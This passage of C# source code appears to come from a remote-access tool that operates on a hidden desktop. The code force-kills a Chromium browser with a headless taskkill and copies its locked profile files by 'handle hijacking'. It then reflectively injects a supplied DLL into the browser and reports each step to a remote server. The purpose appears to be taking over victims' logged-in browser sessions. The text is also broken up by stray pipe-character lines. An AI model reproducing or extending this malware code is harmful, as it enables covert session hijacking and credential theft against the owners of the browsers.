UniversalDebugLogger.SendLogToServer("[BrowserClone] Using handle hijacking for locked files...");
|
|||
|
|
bool success = HandleHijacker.ForceCopyDirectory(
|
|||
|
|
sourceDir,
|
|||
|
|
destDir,
|
|||
|
|
killIfFailed: false,
|
|||
|
|
progress,
|
|||
|
|
cancellationToken);
|
|||
|
|
|
|||
|
|
if (success)
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer("[BrowserClone] Browser profile cloned successfully with handle hijacking.");
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer("[BrowserClone] Handle hijacking partial success, some files may be skipped.");
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
return new CloneResult(success, false, destDir);
|
|||
|
|
}
|
|||
|
|
catch (OperationCanceledException)
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer("[BrowserClone] Operation cancelled by user.");
|
|||
|
|
CleanupCancelledClone(destDir);
|
|||
|
|
return new CloneResult(false, true, destDir);
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Error cloning browser profile: {ex.Message}");
|
|||
|
|
CleanupCancelledClone(destDir);
|
|||
|
|
throw;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/// <summary>
|
|||
|
|
/// Waits for a process to complete with a timeout
|
|||
|
|
/// </summary>
|
|||
|
|
/// <param name="processInfo">Process information structure</param>
|
|||
|
|
/// <param name="timeoutMs">Timeout in milliseconds (default 5000ms)</param>
|
|||
|
|
/// <returns>True if process completed within timeout, false otherwise</returns>
|
|||
|
|
private bool WaitForProcessCompletion(PROCESS_INFORMATION processInfo, uint timeoutMs = 5000)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (processInfo.hProcess == IntPtr.Zero)
|
|||
|
|
return false;
|
|||
|
|
|
|||
|
|
uint result = WaitForSingleObject(processInfo.hProcess, timeoutMs);
|
|||
|
|
|
|||
|
|
CloseHandle(processInfo.hProcess);
|
|||
|
|
CloseHandle(processInfo.hThread);
|
|||
|
|
|
|||
|
|
return result == WAIT_OBJECT_0;
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Error waiting for process: {ex.Message}");
|
|||
|
|
return false;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public async Task StartGenericChromiumAsync(byte[] dllbytes, string browserPath, string searchPattern, string replacementPath)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (string.IsNullOrWhiteSpace(browserPath) || !File.Exists(browserPath))
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser executable not found at: {browserPath}");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer("Search pattern and replacement path are required for generic Chromium browser.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Starting Generic Chromium Browser: {browserPath}");
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Search Pattern: {searchPattern}");
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Replacement Path: {replacementPath}");
|
|||
|
|
|
|||
|
|
string processName = Path.GetFileNameWithoutExtension(browserPath);
|
|||
|
|
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
|
|||
|
|
|
|||
|
|
STARTUPINFO startupInfo = default(STARTUPINFO);
|
|||
|
|
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
|
|||
|
|
startupInfo.lpDesktop = this.DesktopName;
|
|||
|
|
startupInfo.dwX = 0;
|
|||
|
|
startupInfo.dwY = 0;
|
|||
|
|
startupInfo.dwFlags = STARTF_USEPOSITION;
|
|||
|
|
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
|
|||
|
|
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Killing any existing {processName}.exe processes...");
|
|||
|
|
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Waiting for {processName}.exe processes to terminate...");
|
|||
|
|
WaitForProcessCompletion(processInfo, 5000);
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer("Failed to create taskkill process, using fallback delay.");
|
|||
|
|
await Task.Delay(500).ConfigureAwait(false);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
string friendlyName = Path.GetFileNameWithoutExtension(browserPath);
|
|||
|
|
if (string.IsNullOrWhiteSpace(friendlyName))
|
|||
|
|
{
|
|||
|
|
friendlyName = "Chromium";
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
var cloneResult = await CloneBrowserProfileAsync(searchPattern, replacementPath, friendlyName).ConfigureAwait(false);
|
|||
|
|
if (cloneResult.Cancelled)
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user – skipping injection.");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
await Task.Run(() => KDOTInjector.Start(dllbytes, browserPath, searchPattern, replacementPath)).ConfigureAwait(false);
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser started successfully with reflective DLL injection.");
|
|||
|
|
}
|
|||
|
|
catch (Exception injectionEx)
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Error during generic Chromium DLL injection: {injectionEx.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (OperationCanceledException)
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user.");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
UniversalDebugLogger.SendLogToServer($"Error starting generic Chromium browser: {ex.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private string DesktopName;
|
|||
|
|
|
|||
|
|
private struct STARTUPINFO
|
|||
|
|
{
|
|||
|
|
public int cb;
|
|||
|
|
|
|||
|
|
public string lpReserved;
|
|||
|
|
|
|||
|
|
public string lpDesktop;
|
|||
|
|
|
|||
|
|
public string lpTitle;
|
|||
|
|
|
|||
|
|
public int dwX;
|
|||
|
|
|
|||
|
|
public int dwY;
|
|||
|
|
|
|||
|
|
public int dwXSize;
|
|||
|
|
|
|||
|
|
public int dwYSize;
|
|||
|
|
|
|||
|
|
public int dwXCountChars;
|
|||
|
|
|
|||
|
|
public int dwYCountChars;
|
|||
|
|
|
|||
|
|
public int dwFillAttribute;
|
|||
|
|
|
|||
|
|
public int dwFlags;
|
|||
|
|
|
|||
|
|
public short wShowWindow;
|
|||
|
|
|
|||
|
|
public short cbReserved2;
|
|||
|
|
|
|||
|
|
public IntPtr lpReserved2;
|
|||
|
|
|
|||
|
|
public IntPtr hStdInput;
|
|||
|
|
|
|||
|
|
public IntPtr hStdOutput;
|
|||
|
|
|
|||
|
|
public IntPtr hStdError;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
internal struct PROCESS_INFORMATION
|
|||
|
|
{
|
|||
|
|
public IntPtr hProcess;
|
|||
|
|
|
|||
|
|
public IntPtr hThread;
|
|||
|
|
|
|||
|
|
public int dwProcessId;
|
|||
|
|
|
|||
|
|
public int dwThreadId;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|